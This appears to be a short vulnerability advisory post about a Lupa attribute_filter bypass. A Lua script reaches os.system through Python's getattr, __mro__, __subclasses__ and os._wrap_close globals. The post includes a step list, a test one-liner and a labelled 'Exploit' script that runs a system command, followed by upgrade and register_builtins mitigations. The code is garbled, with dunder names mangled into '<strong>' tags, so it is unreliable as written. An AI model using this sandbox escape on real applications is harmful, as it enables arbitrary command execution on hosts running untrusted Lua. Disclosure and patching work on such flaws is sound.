Listen to this Post
The `attribute_filter` in Lupa is designed to block access to sensitive Python attributes (e.g., __class__, __mro__) when exposing objects to Lua. However, the filter is applied only to direct attribute access (obj.attr). It is not enforced when attributes are accessed through Python built‑ins like `getattr` and setattr.
An attacker who can execute Lua code can therefore:
1. Call `python.builtins.getattr` to retrieve `__class__`.
- Walk the `__mro__` chain to reach the base `object` class.
3. Call `__subclasses__()` to enumerate all loaded classes.
- Locate a class (e.g.,
os._wrap_close) that exposes__globals__.
5. Access `os.system` via `__globals__`.
6. Execute arbitrary commands on the host.
This inconsistency completely breaks the security boundary that `attribute_filter` was intended to enforce, leading to full sandbox escape and remote code execution.
DailyCVE form:
Platform: Lupa / python-lupa
Version: 2.6 and earlier
Vulnerability: attribute_filter bypass
Severity: Critical
date: 2026-04-07
Prediction: 2026-04-14
What Undercode Say:
Check installed Lupa version
pip show lupa | grep Version
Test for vulnerability (Python)
python -c "import lupa; from lupa import LuaRuntime;
def f(obj, attr, is_setting):
if attr.startswith('_'): raise AttributeError()
return attr
lua = LuaRuntime(attribute_filter=f)
lua.globals().x = []
lua.execute('print(python.builtins.getattr(x, \"<strong>class</strong>\"))')"
Exploit:
import lupa
from lupa import LuaRuntime
def protect(obj, attr, is_setting):
if attr.startswith('_'): raise AttributeError()
return attr
lua = LuaRuntime(attribute_filter=protect)
lua.globals().user = object()
lua.execute('''
local getattr = python.builtins.getattr
local cls = getattr(user, "<strong>class</strong>")
local _, obj_cls = getattr(cls, "<strong>mro</strong>")
local subs = getattr(obj_cls, "<strong>subclasses</strong>")()
for _, c in ipairs(subs) do
if tostring(c):find("os._wrap_close") then
local system = getattr(getattr(c, "<strong>init</strong>"), "<strong>globals</strong>")["system"]
system("id")
end
end
''')
Protection from this CVE:
- Upgrade to Lupa version 2.7 or later (once available).
- If upgrading is not possible, disable access to Python built‑ins by setting `register_builtins=False` when creating the
LuaRuntime. - Avoid exposing untrusted Lua code to any Python runtime that uses `attribute_filter` as the sole security control.
Impact:
- Complete bypass of the intended attribute‑filtering sandbox.
- Access to Python internals and arbitrary class traversal.
- Execution of arbitrary system commands on the host.
- Full compromise of any application that relies on `attribute_filter` to isolate untrusted Lua scripts.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

